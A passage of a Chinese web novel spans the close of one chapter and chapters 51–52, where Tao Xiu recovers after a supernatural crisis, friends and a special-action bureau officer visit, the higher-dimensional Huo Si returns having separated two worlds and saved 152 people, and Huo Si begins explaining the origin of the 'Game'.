整栋大楼在诡异扭曲地蠕动,无数玩家被它从底层的窗框中吐出,混乱的尖叫声此起彼伏。 巨大的异动惊动了园区周边的人们,许多胆子大的来到园区周围拍视频,甚至还有网红得知消息后立刻过来,还想进入园区内部查看,只是他们很快就发现,这个园区周围似乎被某种人类看不见的物质整个包裹了起来,隔绝了所有人进入。 警笛的声音也很快响起来,警戒线很快拉好,工作人员紧张有序疏散着周围的人群。 等到特别行动局的人赶过来,另一件诡异的事情发生了:那栋突然出现的诡异高楼又突然彻底消失,只留了一地诡异的黑色碎肉和无数被吐出来的人类。 周河站在警戒线外无比震撼地看着里面的场景,他利落地向上司汇报着情况,之后他思索一瞬,拨通了陶岫的电话。 无人接听。 …… 第二天中午。 金色传说小区2101室。 陶岫不知自己睡了多久,只是醒来时,鼻尖嗅到了热腾腾的食物香气。 他吃力地睁开了眼睛,温暖的光线立刻映入了眼帘,让人有些晕眩。接着,小八带着哭腔的声音在耳边响起来:“小陶哥哥,你终于醒了!” 陶岫一怔,弯了眼眸道:“抱歉,让你们担心了。” 说罢他感受到什么,看向自己的怀里:陶星星正眷恋地偎依在他的颈窝,他似乎刚睡着,却并不安生,浅浅的眉轻轻蹙着,软软的小手揽着他的脖颈,像是怕他下一秒就会消失。 陶岫的心里软得一塌糊涂,他温柔地摸了下陶星星的小脸儿,才声音沙哑地问道:“霍斯呢?” 小八一怔,眨了下眼才道:“霍斯大人祂……去工作了。祂说会出差两天,要你别担心。” 那只虫子的身体突然彻底成熟了,霍斯大人把它整个搬回了书房,用那只虫子和一筒一万兄妹带着玩家们随后收集的所有碎肉制作了足够的空间分离剂。 空间分离剂全部做好后,祂就动身去了两个世界相交的各个节点分离空间,临走前命令她和竺要陪伴照顾好陶岫。 她不明白小陶哥哥为什么会突然昏迷,但她更不明白,这种时刻为什么霍斯大人会选择先工作。 她怕陶岫会难过,正要安慰,却惊讶地看到青年温柔地弯了眼眸,垂眸轻声道:“我知道了。这样很好。” 他并未再纠结这件事情,只是看了看周围,问道:“我昏迷了多久?怎么会在主卧?” 小八:“你已经睡了快一天了……”她和竺真的很担心,还有小朋友,都不笑了,一直要偎依在陶岫怀里担心地看着他,她和竺费了好大力气才把他哄睡。 陶岫一怔:才一天…… 昏迷的过程中,他混沌的意识明明隐隐感觉到会睡很久…… 小八并未注意到陶岫的异常,她这时甜甜笑了下,接着道:“至于卧室……我和竺觉得,最近太阳都很好,小陶哥哥是人类的身体,一定会喜欢冬天的太阳,多晒晒太阳说不定就能早点醒过来,我们就自作主张把你接到这里啦~” “别担心我哦,偶尔在客厅打打地铺也挺好的!” 陶岫回过神来,温柔地道:“多谢。” 他之前已经把买车提上了日程,看来还要再计划买一套房间多一点的房子,这样大家才能住得更舒服些。 竺应该在厨房做饭,真的很香,陶岫摸了下鼻尖,难得觉得自己饿了,他抱着陶星星吃力地起身,将他放到客厅的婴儿车后自己去洗漱。 正在这时,门铃声响起来,陶岫听到小八去开门的脚步声,便并未担心什么。 只是下一瞬,乔之安的声音传了过来:“陶岫?你在家么?” 他已经进了客厅,不知怎地有些焦急:“你家门怎么没锁?小星星一个人在这,厨房火也没关?” 他似乎担心出了什么事,脚步声很急,正在去往主卧。 卫生间里的陶岫也心里一紧,也生怕有事,他匆匆擦过脸,打开卫生间的门大步离开了那里,下一瞬,便和乔之安正面撞上。 乔之安焦急地问道:“你没事吧?你家那个小姑娘和厨师呢?” “你们怎么不锁大门?我刚按了门铃它自己就开了,孩子一个人在客厅,多危险啊。厨房火也是,炖着汤离了人不行啊,容易出事。” 陶岫愣在那里,缓缓睁大了眼睛,张了张口却不知该说什么: 刚刚去开门的小八现在明明就在乔之安身后站着,她有些手足无措地看着自己的脚尖,满脸茫然,竺站在她身边,手里拿着炖汤的汤勺,也是满脸茫然。 他们明明就站在那里,乔之安却看不到…… 陶岫突然想起霍斯之前讲过的【撞击】,无论是两个世界撞击前,还是撞击后,亦或是在被虫子影响前的撞击过程里,地球上的生物都是看不到和感知不到高维世界和高维生物的存在的。 所以,霍斯此时正在顺利地将两个世界分离,而人类会变得看不到祂们存在吗…… 乔之安现在还看得到他和陶星星,是因为他是人类的身体而陶星星和他血脉相连吗? 陶岫心中蓦然涌起一种难过,他并未隐瞒乔之安,直接道:“他们还在的,就站在你身后,只是,你现在应该看不到他们。” 乔之安瞳孔一缩,他立刻环顾四周,却依旧看不到小八和竺。 消化这个消息半晌,他才释然地笑了下:“也行吧,都在这里就成。我还给他们带了礼物呢。” 虽然不知发生了什么,但是……至少他还看得见陶岫和陶星星。 陶岫也弯了眼眸:“刚好到饭点了,一起吃饭吧。” 乔之安爽快地道了声:“成。” …… 饭后,小八和竺出门散步,陶星星依旧在睡着,陶岫坐在沙发上亲昵地把小朋友抱进怀里,才轻声问乔之安:“怎么突然会过来?”乔之安之前来家里一定会提前说的。 乔之安静静看着他们,道:“你还没看手机吧?今天,一个新的都市传说都在互联网传得翻天了。昨天警方在A市市中心一个生物医药园区围了警戒线,据说是一个妹子发现园内有疑似绑架事件,就报了警——当然,警方后来发了通报,绑架是乌龙一场。” “结果今天不少人说昨天亲眼看到园区里有一栋高楼凭空出现又消失,但是吧,也没啥证据,视频啊照片啊都没有。因为没证据嘛,这群人渐渐的又怀疑自己可能记错了或者癔症了,所以现在网上吵得很激烈。之后应该吵着吵着就散了。” 陶岫瞳孔一缩:他并不知道昨天把力量全都给那只虫子之后发生了什么。 但那栋楼被霍斯拔地而起很可能是真的,会消失很可能是霍斯带走了它,因为霍斯需要和楼几乎融为一体的虫子身体。 而现在人类真实的记忆被大范围地变成了【虚幻的想象】,也大概率是霍斯的手笔。 他从前无意中听霍斯说过,霍斯对人类使用绝大部分力量都会造成不可控的影响,包括大范围地彻底修改人类的记忆,而这种更折中的将记忆变成想象的能力和【因果】一样,控制着使用算是少数对人类无害的能力…… 陶岫面上浮出个温柔的浅笑:他也没想到,霍斯会为人类做到这种程度…… 乔之安这时接着道:“人类社会中确实存在集体记忆与事实不符的曼德拉效应,但那些记忆一般都是时间太久才出现了偏差,怎么可能才过一天就这样了呢?” “我直觉这些和你的同类有关,担心你是不是出事了,就赶紧请假来了。” 说着乔之安起身,笑了下道:“知道你没事,我就放心了。你看起来脸色不太好,好好休息吧,我先回医院了。” 陶岫弯了眼眸,点了点头。 乔之安便向大门走去,只是走到门口,他转过身来,静静看向陶岫:“有一天,你和小星星会离开这里回你们的世界么?” 陶岫瞳孔一缩,嘴唇动了下,却不知该怎么回答:因为,就连他都不知道答案。 乔之安洒脱又温柔地一笑,道:“离开也没关系,陶岫,你和小星星都是自由的,想去哪里就去哪里,只是……别让我忘记你们。” 即使不知道任何所谓的真相,他也知道,祂们有很多他无法认知的能力,只要祂们想,绝对可以拿走他关于陶岫陶星星的一切记忆。 他可以接受与友人离别,却绝对接受不了遗忘。 遗忘会让人变得虚无。 陶岫回过神来,认认真真道:“当然不会。”那些经历与记忆,对他也很重要啊…… 乔之安笑了下,这才转身离去。 …… 乔之安离开后,周河几乎前后脚找上门来,他不知为何黑眼圈很重,精神却异常好。 陶岫将陶星星交给散步回来的小八与竺照顾,才去客厅招待他。 周河看着陶岫过分苍白的脸色一怔:“你还好吧?身体没事?” 陶岫摇摇头一笑:“没什么事,养几天就好了。”这点难受比他之前猜测的代价要轻上太多了。 周河点点头,这才说明来意:“昨天市中心一个生物制药园区出事了,虽然我打了你的电话没打通,但我知道,大概率和你有关。” “再加上,短短一天里,又发生了许多新的事情,所以我今天还是来了。” 陶岫瞳孔一缩:“你的记忆被保留了?” 周河闻言直视着他一笑,坦言道:“虽然昨天就已经知道,大家的记忆被那位霍斯先生做了手脚,但真正听你说这件事,还是觉得很微妙。”即使,霍斯先生做的这件事,本质上是帮了他们忙,从根本上避免了大家的恐慌。 接着,他才回答陶岫的问题:“昨天事件的所有旁观者里,霍斯先生只保留了特别行动局员工的真实记忆,可能因为我们还需要继续善后。” “陶岫,这应该是我最后一次来找你同步信息。今天之后,我们不会再来打扰你平静的生活。” 陶岫瞳孔一缩。 周河:“昨天,一直到深夜,我们都在为园区出现的异常事件加班,因为信息缺失严重,包括蒋局在内,每个同事都焦头烂额。” “比如我们虽然猜到那栋楼与【游戏】有关,但完全不知道它是什么、又为什么突然出现又消失;消失之前,它‘吐’出许多玩家在园区里,而因为园区周围看不见的特殊物质,我们无法进去逮捕他们,也无法判断他们是否会对城市造成危害;还有更迫切的问题,人们拍摄的视频已经大范围传来,在这座城市引起了广泛的恐慌,说实话,知道【游戏】相关的高层已经在开会讨论是否应该策划组织市民有序到外市避难,即使,这会让大家损失惨重。” “凌晨三点钟左右,蒋局已经打好了报告,下定决心向领导提议开始组织全城市民避难,就在报告书即将提交前,霍斯先生出现了,祂将园区内那些玩家带了过来,几乎塞满了我们地下地下加起来整整30层的大楼。” “祂告诉我们,那栋大楼就是【游戏】的本体,而它现在已经死了,祂已经处好【游戏】的尸体,即将去履行祂同我们签订过的合约。至于那些玩家,不是祂的义务,而是我们的。” “祂还告诉我们,祂已经抹除了互联网上传播的所有相关视频,也通过改动除我们之外的目击者的大脑彻底组断了这件事情的传播。所以之后,我们应该专心解决那些玩家的后续事宜。” 那时的办公室里,高大俊美的男人依旧傲慢冷漠,周身的气势让人不敢靠近,但说那句话的瞬间,祂很可能想到了陶岫,猩红的眼眸温柔了一刹那:“那些家伙和他有过交易,而他已经做了一切,完成了自己的承诺。所以,他们剩下的事情是你们的责任,不许再让他们去打扰他。” 周河陷在回忆里,有些微微出神:其实那时他立刻就想到植物园里陶岫对张乐做出的会帮张乐和那些玩家摆脱游戏控制的约定。 他依旧联系不上陶岫,却在那一刻彻底确认——陶岫真的做了什么,而且还是非常关键性的事情。 陶岫这时问道:“那些玩家现在什么情况?”他很好奇,虫子死后,那些玩家会如何。 周河回过神来,道:“这就是我要和你同步的第二条信息。【游戏】死后,经过我们的检测,那些玩家已经全部摆脱了它的控制,他们现在和林枚的情况一样,不算是人类,但和正常人类寿命相当,【游戏】死后,他们也不再具备任何能力。不管对人类还是对玩家来说,这都是一件好事。” “之后,我们会对他们进行审讯调查,针对他们进入【游戏】前犯下的罪行进行疏离,相关部门会根据法律对他们的罪行进行审判。” 陶岫点点头:“那很好。” 周河也笑了:“对,这真的很好——接下来,是第三条信息。” “你一直关心的吴言和乔鸢一家,我们是从你这里得知,他们的人生和成杨一家的人生被【游戏】交换了。【游戏】死后,他们重新回到了自己人生本该有的轨道上——说实话,我不知道一切是怎么发生的,但现在一切证件中那家科技公司的实控人确实变回了吴言和乔鸢夫妻,他们从前的财产也回到了自己的账户。” “只是,发生过的事情就是发生了——就像【游戏】确实存在过,也确实对他们使用了能力,他们那暗沉的几年确实存在。但是,他们夫妻内心非常强大,乔鸢在这一片混乱的变化中并未沮丧慌乱,她已经入院接受最好的治疗,休息过程中,她开始和吴言一起处公司的一切事务,他们的孩子也得到了妥善的安置。他们一家的未来一定会很好。” 陶岫这才放下心来,他垂眸笑了下:“那就好。那很好。” 周河:“最后一条是,【方子青】。”说着他深吸一口气看向青年,道:“陶岫,我们终于知道,你一直在说的【方子青】和【美好】公司到底是什么了。” “【游戏】死后,我们查到了25年前方子青主导的美好公司进行的一系列违法违规生物实验的相关资料,以及……美好公司152名员工的离奇失踪。” “即使已经过去了25年,但事关152条人命,无论他们是死是活,我们都绝不会放弃追查。” 陶岫那双美丽的苍绿眼睛直视着周河,他轻而坚定地道:“他们会回来的。” 因为,霍斯答应过他,会救他们。 周河瞳孔一缩,半晌,他弯了眼眸朝陶岫伸出手,他默契地没有追问这是什么意思,只是哑着嗓子道:“谢谢你和霍斯先生。” 陶岫握住了那只手:“我做的一切都是我该做的。而这件事上我没做什么,是霍斯在帮忙。” 周河笑笑,没有说话。 …… 周河离开前,陶岫问了最后一个问题:“等到霍斯彻底完成他的工作,【游戏】的所有因果彻底终结后,特别行动局会怎样?” 周河洒脱一笑:“所有进入【游戏】的玩家有多少,我们还没有统计出来,但霍斯先生昨晚塞进我们楼里的玩家一共3124人,这应该就是经过所谓副本淘汰后剩下的玩家。” “这些人即使暂时对社会不具备危害性,但也已经不算人类,出于对所有普通人的负责,我们会对他们进行终身定位跟踪,除了尽量善后、调查【美好】公司和继续收集信息外,这就是我们特别行动局日后长期的职责。” “等到最后一个进入过游戏的玩家离开人世,只要不再有类似的异常事件发生,我们局就会彻底解散。这过程很漫长,也很繁琐艰辛,但我们当仁不让。” 陶岫弯了眼眸:“辛苦了。” 周河也痞痞笑了下:“应该的。” 走到门口,他转过身,带着再平常不过的轻快又日常的神情,笑着道:“陶岫,很开心认识你。祝你日后万事顺意,永远幸福。” 陶岫苍绿明亮的眼眸里满是温柔的笑意:“你也是。” 周河这才打开门头也不回地离去。 …… 周河走后,陶岫又在沙发上坐了好一会儿,午后冬日的太阳射|进玻璃窗,映照着青年美丽苍白又温柔的脸颊。 陶岫像是心头终于卸下一块沉重的石头,他舒服地在光里眯了眯眼睛,又舒展了下身体,才起身向主卧走去。 推门进去,陶星星已经醒了,小八和竺正在逗他。 一听到陶岫进来,小朋友眼睛便蓦然亮起来:“妈咪~” 陶岫立刻上前抱起他,陶星星比从前更加黏人,他伸出胳膊紧紧揽着青年的脖颈,将自己整个缩进青年的怀里:“妈咪……” 他再也不要离开妈咪了…… 陶岫有些心疼地轻轻拍着他的后背,这才发现,小八和竺有点失落和心不在焉,他温和地问道:“你们这是怎么了?” 竺垂着脑袋“哎”了声叹气,有些难过地道:“刚刚出去散步碰到了熟人,就是我之前遛椰子时认识的老爷爷狗友,他看不到我了,就连那只叫地瓜的金毛都看不到我了……” 小八也失落地咬着唇:“我在小区散步时认识的好朋友也看不到我了……”她们可好了,每次见面都会送她糖果和好看的发夹。 陶岫一怔,他抱着陶星星坐在床上,空出一只手来,温柔地轮流揉了揉竺和小八的脑袋。 小八深吸一口气抬起头来,她眼眶有些红,面上却重新浮起甜甜的笑:“但是没关系,她们记得我,我也记得她们,我们不会忘记彼此,这就足够了。” 竺似乎也被这番话鼓励道,他揉了把小八的小脑袋,也憨憨笑了:“害,你说得对。” 他们早晚会回到自己的世界,他们的世界正在复苏,昔日的友人也会一起归来,在人类世界的这段经历真的很宝贵,分别也真的很遗憾,但能够做到不遗忘已经足够幸运了。 陶岫温柔地注视着他们,抱紧了陶星星。 …… 之后的两天里,陶岫照常带着陶星星打车去植物园上班,即使已经无法被看到,小八也坚持要跟着去。 竺则留在家里安慰同样失落地从希望酒店回来的一筒一万兄妹。 人类的世界一如既往地运转着,陶岫的植物园里也照常迎来一波波客人。 即使不能再被人类看到,小八依旧保持着人类的外形,看到每一个人类小女孩儿时依旧会露出甜甜的笑容。 每当这时候,陶岫就会轻轻摸摸小八的小脑袋。 这一天快要闭园时,一个气质优雅打扮得体的中年女人推着坐在轮椅上头发花白的老人进了植物园,女人温柔地对老人道:“妈,这园子在A市可出名了,冬天里也难得有这样的温室植物园,来一趟A市旅游咱们肯定要看下,参观完我们就回酒店休息。” 老人“哎”了声,慈爱又幸福地笑着。 她们互相轻声说着话,同陶岫擦肩而过,陶岫看着轮椅上的老人,蓦然睁大了眼睛:那是他在特别行动局看到的提供了【美好】公司地址的老人…… 失去女儿后,她现在本该在疗养院麻木地度过最后的人生…… 可现在,她和她的女儿在一起幸福地参观植物园…… 陶岫的心脏“砰砰”跳起来:也就是说,霍斯已经拯救了那些被虫子吃掉的人们的生命…… 陶岫鼻尖蓦然一酸,面上却浮出个温柔的浅笑:真好啊…… …… 下班回家时,A市的街道上依旧到处闪烁着美丽的霓虹灯火,快过年了,到处都挂了灯笼彩灯,街上人流比平时更多,人们都在置办年货。 陶岫经过商店时给陶星星挑了些小玩具,又给小八买了她最喜欢的罐装糖果。 街道上,陶岫一手抱着被裹得严严实实的陶星星,另一只手牵了小八,他道:“那家汉堡肉便当店的牛肉丸鱼肉丸也很好吃,我们买一些回去,今晚一筒和一万也在,人多,我们就吃火锅吧。” 小八这两天虽然很失落,听到陶岫这样说眼睛还是亮起来:“好呀。” 他们很快到了那家店,店里一如往昔热闹,老板和老板娘一见到他连忙把他迎进来。 看到陶岫怀里的小婴儿,老板娘爽利地笑道:“你好长时间不来这里,再来这都结婚有小孩儿啦?”说着她逗了下陶星星:“哎呀这小娃娃长得真好看。” 陶星星“咯咯”笑着,笑得很甜。 老板道:“你的妻子没和你一起来么?” 陶岫并未纠正,只是有些不好意思地摸了下鼻尖:“他去忙工作啦。”如果他没猜错,今晚霍斯就会……回来…… 老板夫妻并未继续追问,只是热情地道:“你们先坐一会儿啊,我们去给你装牛丸鱼肉丸!” 说罢便爽利地向后厨走去。 陶岫摸了摸在一旁安静坐着的小八,这时一个年轻女孩儿将两杯柳橙汁放在陶岫面前,声音很脆很甜:“小陶哥,这两杯果汁送你们喝!” 其实那个婴儿应该不能喝的,她只上一杯就够了,但也不知怎地,她鬼使神差地送了两杯过来。 听到这个声音的一瞬,一旁安静坐着的小八蓦然睁大了眼睛。 陶岫一怔,也笑了:“璨璨,好久不见。”想起对方应该已经读了想的大学一年了,他问道:“放寒假来店里帮忙?” 赵璨璨笑着“嗯”了声,店里现在客人正多,她正要接着去忙,却被陶岫叫住了。 陶岫将小八刚刚偷偷塞进他手里的玻璃糖果罐递给她:“家里的小妹妹很喜欢你,她让我送你的。” 小八和赵璨璨的缘分开始于一个糖果罐,这缘分终于在今天续上了一个完美的结尾。 赵璨璨麻利地接过,笑道:“哎小陶哥你还有妹妹啊?” 陶岫弯了眼眸:“对。很可爱的妹妹。” 赵璨璨爽朗地笑了,她很珍惜地看了下手里装满五颜六色糖果的糖果罐,接着道:“那小陶哥你等我下,我也送妹妹一个礼物!我很快回来!” 说罢她也顾不得店里的客人,大步往对面的小区大步跑去。 几分钟后,她喘着气把一个闪烁着美丽光芒、旋转木马形状的玻璃糖果罐交给陶岫,笑着道:“帮我谢谢妹妹!然后这是我在大学新买的,里面是超好吃的牛奶糖,是给她的回礼!” 陶岫看了眼旁边的小八,弯了眼眸收下了它,轻轻道:“我替她多谢你。” …… 买好鱼丸牛肉丸后,陶岫顺便又买了些新鲜蔬菜肉类,接着便带着陶星星和小八打车回到了家。 到了家里,小八便钻进卧室宝贝地把那个新收到的糖果罐收好,竺将一筒拎进了厨房帮忙。 妹妹一万坐在沙发上,好奇地看着陶岫怀里正抱着奶瓶乖巧喝奶的陶星星。 或许是因为更加跳脱的哥哥不在身边,一万单独待着时安静了许多。 半晌,她才有点拘谨地对陶岫道:“听竺说,你很舍不得离开这个世界,是不是呀?” 陶岫一怔,笑道:“确实。不过,我也不会惧怕分离和离开。”另一个世界是他的故乡,只要给他时间他会像爱着人类世界一样爱那里。 一万眨了下眼:“你不用很快离开这里哦。” 陶岫:“……什么?” 一万似乎比竺与小八知道更多事情,她道:“你最后仅剩的力量就是在这小区了吧?老大说,你现在的身体需要这里的力量滋养才能恢复好,大概要一两年吧。反正就算两个世界彻底分离了,有这片小区在,你和小八他们也可以留在这个世界。” 那晚她和哥哥带着后来收集的那些碎肉去找霍斯大人,霍斯大人比任何时候都要可怕。 他们直到见到老大才知道陶岫做了什么,其实他们的同类中没有谁敢给出自己所有的力量,做这样的事情身体会受到不可逆的损伤,可能会昏迷无比漫长的时间。 看着陶岫那时候的样子,她和哥哥那时几乎要觉得霍斯大人要失控了,事实上,也确实快要失控了,直到……祂突然发现这片小区里的力量可以滋养反哺陷入昏迷的陶岫的身体。 直到那时候,霍斯大人的智才算彻底回归掌控了身体,知道了陶岫不会有事后,霍斯大人才能继续有条不紊地去做祂的工作。 一万这时感慨道:“如果这片小区的力量是你从前放进去的,你是自己救了自己哦。即使没有预知的力量,过去的你也可以拯救未来的你,你真的太了不起啦。” 陶岫怔怔地消化着那些信息,半晌,他才温和地笑了下,道:“多谢夸奖。”虽然,过去的他做这件事时完全不知道有一天会派上这样的用场。 但是,真好啊…… 怀里的陶星星这时已经吃饱了,陶岫把奶瓶放在一边,小婴儿便眷恋地依偎着陶岫,安静地闭上了眼睛睡觉,等到孩子甜甜睡去,陶岫才起身将他温柔地放进移动婴儿床里。 客厅里一片温暖静好,竺已经端着咕嘟嘟冒着泡的诱人锅底来到了餐桌,一筒在后面端着新鲜的肉和菜。 一簇烟花蓦然在窗外的夜空炸开,盛放出一朵绚烂孤独的花,陶岫看着看着却笑了:等到过年,会有更多璀璨的烟花盛开。 正在这时,大门外突然传出一声微不可查的清脆“咔嚓”声,陶岫鼻尖隐隐闻到某种熟悉的冷香,他想到什么,蓦然睁大了眼睛。 他大步向玄关走去,接着,深吸一口气打开了门。 高大俊美的男人站在门外,红眼珠里有讶异一闪而过:“亲爱的,我本来想给你个惊喜所以才从大门进来。” “那些工作我全都完成了。两个世界已经安全地分离。” “还有,在最大程度不影响人类社会、不造成人类社会动荡的前提下,152个人类,我一个个回到过去调整了他们的因果,他们因为各种各样的原因在事件发生那天全都没有去那家公司上班。所以,他们全都活了下来。” “宝贝,你不必再为——” 话还未说完,青年已经踮起脚尖吻上了他冰冷的唇,霍斯蓦然睁大了眼睛。 半晌,他才紧紧揽住青年纤瘦的腰,占有欲十足地回吻着对方。 一吻结束,陶岫红着脸朝他笑起来,苍绿的眼里满是明亮的爱意,他道:“欢迎回家。” 接着,他同男人紧紧十指相扣,将男人牵进了这个温馨的家。 陶星星依旧在婴儿车里甜甜睡着,小八已经拉着一万去卫生间洗手,餐桌上摆满了美味新鲜的食物,火锅咕嘟嘟冒着热腾腾的诱人香气,竺正拉着一筒在厨房切果盘。 杂物间的门里,隐隐响起玩够了回家的椰子的叫声。 陶岫牵着霍斯在餐桌旁坐下来,他用那双苍绿的眼睛看着他,再次哑声道了句:“欢迎回家。” 霍斯猩红的瞳仁蓦然一深,他看了眼自己的孩子,接着深情地注视着自己爱人,半晌,他伸出冰凉有力的大手抚上青年的脸颊,道:“我回来了。” 窗外又一簇灿烂的烟花在夜幕间炸开,照亮了辽阔的人间烟火。 50-60 第51章 周河回到特别行动局后将带回的人交给了同事,接着便立刻投入到新的工作中去。 彼时蒋周已经通过周河在路上同步给他的信息,将抓捕嫌疑人的命令及行动布置下去。他的下属现在应该已经到达了那栋别墅。 蒋周此时正坐在办公桌后,神情严肃地查看刚刚送到他手里的关于成家的资料。 成运的父亲叫成杨,今年已经快80岁了,是个不折不扣的投机分子。 他没什么学历也没有一技之长,却总是渴望急速地富起来变成人上人。 他年轻时各种电子产品开始兴盛,他就将回收的二手电脑手机等电子产品想办法做成翻新机、再当成全新的产品出售,他几乎是第一批这样做的人,靠着这种不甚道德的做法,他赚下了人生第一桶金。 再后来,他又做过各种投机取巧的灰色地带的生意。 几年前他紧跟潮流,突然开始经营一家科技公司,主要研发一些可以应用于人们日常生活中的各种人工智能模型,它发展得很快,现在已经在业内颇有名气,几年前甚至完成了上市。 但是,没有人知道成杨一个前些年混社会做着上不得台面生意的家伙是怎么洗白上岸并完成如此彻底的转型的,开这样实实在在主研发的科技公司需要大量人脉、人才、金钱、技术、前瞻的视野等等,成杨甚至没有读完高中,他是怎么短时间得到这些的? 这家公司的股权构成及股东构成表面看起来非常清晰健康,而成杨一直是实际控制人。这家公司从研发第一款产品获得第一轮投资开始,每一轮投资流程也看起来非常正常。如果成杨是个富有才华和野心去创业的技术型高材生,走过的这些路正常而称得上励志。但他偏偏不是。 成杨和这家公司的联系违和得就像这联系是被谁硬生生造出来的…… 如果真的是被造出来的,是被谁造出来的?目的又是什么? 这时周河走了进来,手中拿着一份新得到的资料,他将这份资料恭敬地放在老人面前,道:“蒋局,这是新查出的信息。是关于成杨身上的案底。” 成杨之前做那些灰色地带的生意时有过不少黑历史,也背过不少案底,只是最近几年他花钱公关掩盖了不少。 周河:“我认为其中重要的一条信息是,蒋局,您还记得人贩子吴非吗?十一年前他绑架了两位血型稀有的女士,他是通过非法手段买到了一批血型信息,才确定了这两个目标。” “当年警方自然彻查了这条线,相关人员也判了刑。刚刚我们调查发现,当年卖那些信息给吴非、事情败露后去坐牢的人,就是成杨。他似乎从那时候就开始非法收集人们的各类隐私和信息了。” 蒋周忙翻开那份新信息,手指“笃笃”敲在桌面,他眼神锐利地看向周河,问道:“成杨的科技公司产品大部分都是C端的,面向的是更广的人群。这些产品上架前,按照规定是必须要接受包括AI伦方面在内的各项审查的,审查结果都没问题吗?”如果成杨收集大量个人信息的行为一直持续到今天,通过这些产品是最方便的。 顿了下,他若有所思道:“而且,他儿子开的保险公司是通过电话兜售业务,也是需要大量的个人信息的。”这怎么看都不像巧合。 而这样一个人生轨迹处处透露着奇怪的人,和【游戏】又会是什么关系呢? 周河立刻解到,上司是在怀疑成杨这些年在利用更隐蔽的手段非法获取大量信息(但是对方收集这些信息的目的暂时未知),他的儿子成运只是这些信息顺道的受益者。逻辑其实非常通顺,但是…… 周河摇摇头:“他的公司和产品从来没有查出过问题,一次都没有。”这种审核不止一次,且是非常严苛的,如果存在问题,不可能查不出来。 周河:“至于他儿子的公司,财务税务等等问题太多了,我们的人还没来得及查他那边的数据来源。” 蒋周沉默半晌,沉声道;“要加紧查。”顿了下,他头疼地捏了捏眉心,道:“信息还是太少了。” 于是他直接命令道:“抓捕成杨后,连夜审。” 周河利落地道了声“是”后转身就要走,刚要踏出门,却被对方叫住了。 周河转身:“蒋局?” 蒋周像个长辈一般直视着他,声音温和又严厉:“是关于你报告的另一件事情。” “年轻人,那件事是机密,我已经打了报告上去。而你自己,要彻底忘记它。千万不要对陶岫口中另一个世界产生任何好奇和探索欲,更不要为此私自行动。” 因为,除了探索未知的本能外,人类必须时刻提醒自己从先祖继承的另一种本能。那就是:在打开潘多拉的盒子之前必须停下来。 周河一怔,还是道了声:“是。” …… 霞山。 霍斯并未使用瞬移,他提了盏用自己骨头与眼珠做出的灯,在夜幕里牵着陶岫的手悠闲地向山下走去。 心情已经彻底平静的陶岫:“不接着讲下去吗?”在那栋别墅时,霍斯说是25年前的他救了爷爷奶奶他们,但他根本没有相关记忆,那基本等于他还是什么都不知道啊。 霍斯握着青年的手一紧:“我讲。” 他确实不想青年知道更多信息,但是,他更知道,他的爱人是个独立的个体。 所以他一边拦截那个打进陶岫手机的电话,又自相矛盾地没有彻底毁掉那个电话信息。在动物园时感知到陶岫已经来到了那栋别墅,他也并未立刻赶过去阻止他。 他其实不怕青年知道世界的真相,他只是怕对方知道真相中微小的一部分。 之前不主动告知青年那些事情,本质上更像在拖延青年获得信息的时间。他其实也清楚,他的爱人有着那样明亮温暖又不息的灵魂,他是会为了他者勇敢地向前走的,他阻止不了他。 于是霍斯边把那“微小的一部分”藏得更深一些,边道:“亲爱的,我从最初开始讲起。后面再讲述你重要的家人如何在你的努力下得救。” 说罢还不等陶岫回复,霍斯便突然问道:“宝贝,在你作为人类长大的过程中,有做过类似于另一颗行星撞击地球的设想吗?” 陶岫一怔,摇了摇头。 霍斯看向他,猩红的眼珠在夜色里亮得诡异:“那么,我们来假设一下,如果现在有一颗比蓝星体积大得多、质量重得多的行星与蓝星撞击在一起,你认为两颗星球分别会怎样?” 陶岫的大脑难得茫然了一瞬:他知道只要霍斯想,他可以全知全能。但他确实第一次看到霍斯文绉绉讲话的模样。 还挺新鲜。 回过神来,陶岫:“会两败俱伤。但蓝星会被撞得更碎。” 霍斯:“如果那颗星球的一切维度都是最高的呢?比如和蓝星不同,它的存在和表现形式甚至脱离了重量、体积乃至星球这种物质本身。” 陶岫一怔:一边维度过高的话,撞击的形式自然也会彻底脱离低纬度世界的想象…… 霍斯:“你猜得不错,亲爱的,这样的两个世界撞击时是无法被人类世界的任何科技所认知与观测到的。大约30年前,蓝星和我们的世界有过这样一次撞击,正常来说,这种撞击会持续一年,对人类世界完全无害。” 两个世界各自的运行轨道在亿万年间有了唯一一次相交,所以有了这次撞击,在撞击发生时,两个世界会互相穿过再分离,互不干涉也互不影响,而下一次的交集是另一个亿万年之后。 在这个过程中,高维世界有吞噬低维世界的力量,但就像人类不会刻意伤害渺小的蜉蝣,祂们的世界自然也不屑去吞噬另一个世界。 而对人类来说,祂们的世界的表现形式无法被看到、捕捉和感知,和空气也没什么两样。 所以人类在撞击过程中不会有任何感知,而祂们如果是苏醒的状态,就能在那个过程欣赏低维世界每一个角落的美景。 陶岫震撼地听着这一切:“可现在——” 可现在已经过去了30年。还出现了诡异的【游戏】和虫子。而人类也【看到】了祂们,甚至被送到祂们的世界把祂们当成副本攻略…… 陶岫思索一瞬,问道:“你的意思是撞击没有正常结束?难道是因为那些虫子?那些虫子到底是什么?” 霍斯耸耸肩,先回答了青年最后一个问题:“这种高低维度之间的撞击当然会诞生新物种,那些虫子就是新物种。正常来说,它会进入两个世界并且被两个世界的规则束缚。” “它们会在高维世界作为渺小至极的低等生物活下来,而在更脆弱的低维世界里,它们则会很快被世界运行的规则彻底杀死——因为它们不具备智慧,也无法进入本土食物链的任意一环,自然会很快被淘汰。” 这是地球孕育出的自我保护,只要这条完美又脆弱的逻辑链静默地发生,这次的撞击就不会对两个世界产生任何影响。 “但是——”这时霍斯已经牵着陶岫来到了有人居住的那个别墅区的街道,这里建筑华美,灯光更加明亮,氛围安宁静谧,偶尔有富人悠闲地遛着大型犬经过。 陶岫环顾了下四周想,乔之安的父母似乎就住在这里。 他扶起一个因为追着伙伴跑得太急差点摔倒的小朋友,他疑惑地看向霍斯:“但是?” 光鲜的富人区里,霍斯猩红的瞳仁一如既往地平静而冷漠,仿佛就是在讲一个和自己完全无关的故事。 只有同青年对视时,他的瞳仁才会浮起静谧深沉的情感,他贴心地向青年解释道:“但是,30年前,一些人类因为贪婪,愚蠢地喂了它特别的东西,使得它具有了初步的智慧。” 陶岫蓦然睁大了眼睛。 第52章 陶岫自震惊中冷静下来:“什么东西?” 霍斯并未回答这个问题,只是道:“亲爱的,你有没有想过一件事,为什么那只藏在背后的虫子可以如此精准地挑选出被人类法律制裁过的罪犯?” 